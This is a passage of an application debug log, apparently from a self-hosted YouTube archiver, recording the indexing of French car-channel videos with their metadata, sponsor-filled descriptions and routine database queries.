prêt de cette incroyable Ferrari F430\nLe site 👉 http://sport-design-automobile.fr/\n\n---------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BMW #TURBO #CHAUDIERE", "duration" => 1129, "filename" => "/downloads/Sylvain Lyve/2026-02-26 BMW M550d : Le gasoil qui flingue les Ferrari/BMW M550d : Le gasoil qui flingue les Ferrari [1xXiC2vBy5w].mkv", "id" => "1xXiC2vBy5w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1xXiC2vBy5w", "playlist_index" => 8, "timestamp" => 1772126100, "title" => "BMW M550d : Le gasoil qui flingue les Ferrari", "upload_date" => "20260226"} 07:40:04.167 [debug] QUERY OK source="sources" db=2.7ms idle=913.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:04.169 [debug] QUERY OK source="sources" db=0.5ms queue=0.5ms idle=916.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:04.173 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=919.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-26 17:15:00Z], 2] 07:40:04.229 [debug] QUERY OK source="media_items" db=51.5ms idle=870.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles, et en particulier Urban pour le prêt de cette incroyable Ferrari F430\nLe site 👉 http://sport-design-automobile.fr/\n\n---------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BMW #TURBO #CHAUDIERE", "BMW M550d : Le gasoil qui flingue les Ferrari", "4a1e9cf6-45fb-4733-bc0c-83ec760ee069", "1xXiC2vBy5w", 1129, false, "https://www.youtube.com/watch?v=1xXiC2vBy5w", 8, "/downloads/Sylvain Lyve/2026-02-26 BMW M550d : Le gasoil qui flingue les Ferrari/BMW M550d : Le gasoil qui flingue les Ferrari [1xXiC2vBy5w].mkv", false, false, false, 2, [], 98, ~U[2026-02-26 17:15:00Z], ~U[2026-04-20 05:40:04Z], ~U[2026-04-20 05:40:04Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles, et en particulier Urban pour le prêt de cette incroyable Ferrari F430\nLe site 👉 http://sport-design-automobile.fr/\n\n---------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BMW #TURBO #CHAUDIERE", "BMW M550d : Le gasoil qui flingue les Ferrari", "1xXiC2vBy5w", 1129, false, "https://www.youtube.com/watch?v=1xXiC2vBy5w", "/downloads/Sylvain Lyve/2026-02-26 BMW M550d : Le gasoil qui flingue les Ferrari/BMW M550d : Le gasoil qui flingue les Ferrari [1xXiC2vBy5w].mkv", false, 2, ~U[2026-02-26 17:15:00Z]] 07:40:04.231 [debug] QUERY OK source="sources" db=1.1ms idle=837.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:04.233 [debug] QUERY OK source="media_profiles" db=1.0ms idle=64.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:04.235 [debug] QUERY OK source="media_items" db=0.8ms idle=64.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [22541] 07:40:04.236 [debug] Current batch of media processed. Will check again in 1000ms 07:40:05.239 [debug] Current batch of media processed. Will check again in 1000ms 07:40:06.241 [debug] Current batch of media processed. Will check again in 1000ms 07:40:07.242 [debug] Current batch of media processed. Will check again in 1000ms 07:40:08.244 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Hugo Cuocolo\nMontage sponso : Robin Danos \nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FUTUR #FLOP #ROUERONDE", "duration" => 2146, "filename" => "/downloads/Sylvain Lyve/2026-02-19 VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )/VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' ) [tkpTIMYKJWg].mkv", "id" => "tkpTIMYKJWg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tkpTIMYKJWg", "playlist_index" => 9, "timestamp" => 1771521307, "title" => "VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )", "upload_date" => "20260219"} 07:40:08.247 [debug] QUERY OK source="sources" db=1.3ms queue=2.0ms idle=988.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:08.250 [debug] QUERY OK source="sources" db=0.6ms queue=1.4ms idle=992.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:08.252 [debug] QUERY OK source="media_items" db=1.4ms idle=994.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-19 17:15:07Z], 2] 07:40:08.353 [debug] QUERY OK source="media_items" db=100.5ms idle=996.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Hugo Cuocolo\nMontage sponso : Robin Danos \nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FUTUR #FLOP #ROUERONDE", "VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )", "35caf769-739c-4c48-bb8b-2be008f93ec3", "tkpTIMYKJWg", 2146, false, "https://www.youtube.com/watch?v=tkpTIMYKJWg", 9, "/downloads/Sylvain Lyve/2026-02-19 VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )/VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' ) [tkpTIMYKJWg].mkv", false, false, false, 2, [], 98, ~U[2026-02-19 17:15:07Z], ~U[2026-04-20 05:40:08Z], ~U[2026-04-20 05:40:08Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Hugo Cuocolo\nMontage sponso : Robin Danos \nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FUTUR #FLOP #ROUERONDE", "VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )", "tkpTIMYKJWg", 2146, false, "https://www.youtube.com/watch?v=tkpTIMYKJWg", "/downloads/Sylvain Lyve/2026-02-19 VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )/VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' ) [tkpTIMYKJWg].mkv", false, 2, ~U[2026-02-19 17:15:07Z]] 07:40:08.357 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=106.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:08.358 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=107.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:08.360 [debug] QUERY OK source="media_items" db=0.9ms idle=106.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21741] 07:40:08.360 [debug] Current batch of media processed. Will check again in 1000ms 07:40:09.361 [debug] Current batch of media processed. Will check again in 1000ms 07:40:10.365 [debug] Current batch of media processed. Will check again in 1000ms 07:40:11.367 [debug] Current batch of media processed. Will check again in 1000ms 07:40:12.368 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "air up vous offre 10% de réduction sur tout le site avec le code SYLVAIN pendant 1 mois ( hors coffrets ) 👉 https://airup.link/sylvainlyve\nCollaboration commerciale\n\n----------------------------------------------\n\nMerci à Joseph pour son apport scientifique à la vidéo, et au circuit de Folembray pour leur accueil\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\nScience : Joseph Shuman\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nGros bisous\n\n#PETARD #CUISSON #RESERVE", "duration" => 1545, "filename" => "/downloads/Sylvain Lyve/2026-02-12 Faire cuire un steak sous un capot : ÇA FAIT QUOI ?/Faire cuire un steak sous un capot : ÇA FAIT QUOI ? [WRr5ZsSPQrA].mkv", "id" => "WRr5ZsSPQrA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=WRr5ZsSPQrA", "playlist_index" => 10, "timestamp" => 1770916507, "title" => "Faire cuire un steak sous un capot : ÇA FAIT QUOI ?", "upload_date" => "20260212"} 07:40:12.370 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=105.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:12.372 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=107.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:12.375 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=109.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-12 17:15:07Z], 2] 07:40:12.405 [debug] QUERY OK source="media_items" db=28.7ms queue=0.1ms idle=112.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["air up vous offre 10% de réduction sur tout le site avec le code SYLVAIN pendant 1 mois ( hors coffrets ) 👉 https://airup.link/sylvainlyve\nCollaboration commerciale\n\n----------------------------------------------\n\nMerci à Joseph pour son apport scientifique à la vidéo, et au circuit de Folembray pour leur accueil\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\nScience : Joseph Shuman\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nGros bisous\n\n#PETARD #CUISSON #RESERVE", "Faire cuire un steak sous un capot : ÇA FAIT QUOI ?", "1fe543e5-f0fd-4e5b-86d8-df14bd072257", "WRr5ZsSPQrA", 1545, false, "https://www.youtube.com/watch?v=WRr5ZsSPQrA", 10, "/downloads/Sylvain Lyve/2026-02-12 Faire cuire un steak sous un capot : ÇA FAIT QUOI ?/Faire cuire un steak sous un capot : ÇA FAIT QUOI ? [WRr5ZsSPQrA].mkv", false, false, false, 2, [], 98, ~U[2026-02-12 17:15:07Z], ~U[2026-04-20 05:40:12Z], ~U[2026-04-20 05:40:12Z], "air up vous offre 10% de réduction sur tout le site avec le code SYLVAIN pendant 1 mois ( hors coffrets ) 👉 https://airup.link/sylvainlyve\nCollaboration commerciale\n\n----------------------------------------------\n\nMerci à Joseph pour son apport scientifique à la vidéo, et au circuit de Folembray pour leur accueil\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\nScience : Joseph Shuman\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nGros bisous\n\n#PETARD #CUISSON #RESERVE", "Faire cuire un steak sous un capot : ÇA FAIT QUOI ?", "WRr5ZsSPQrA", 1545, false, "https://www.youtube.com/watch?v=WRr5ZsSPQrA", "/downloads/Sylvain Lyve/2026-02-12 Faire cuire un steak sous un capot : ÇA FAIT QUOI ?/Faire cuire un steak sous un capot : ÇA FAIT QUOI ? [WRr5ZsSPQrA].mkv", false, 2, ~U[2026-02-12 17:15:07Z]] 07:40:12.408 [debug] QUERY OK source="sources" db=2.7ms queue=0.2ms idle=69.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:12.410 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.3ms idle=38.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:12.412 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=38.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20944] 07:40:12.412 [debug] Current batch of media processed. Will check again in 1000ms 07:40:12.780 [info] {"source":"oban","duration":2326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:13.414 [debug] Current batch of media processed. Will check again in 1000ms 07:40:14.416 [debug] Current batch of media processed. Will check again in 1000ms 07:40:15.417 [debug] Current batch of media processed. Will check again in 1000ms 07:40:16.418 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "NordVPN est RAPIDE : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nUn grand merci à W-Autosport pour leur travail exceptionnel sur ce projet\nInstagram : https://www.instagram.com/wautosport/\n\nProduction : Anaelle Le Magorou et Capucine Semur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en 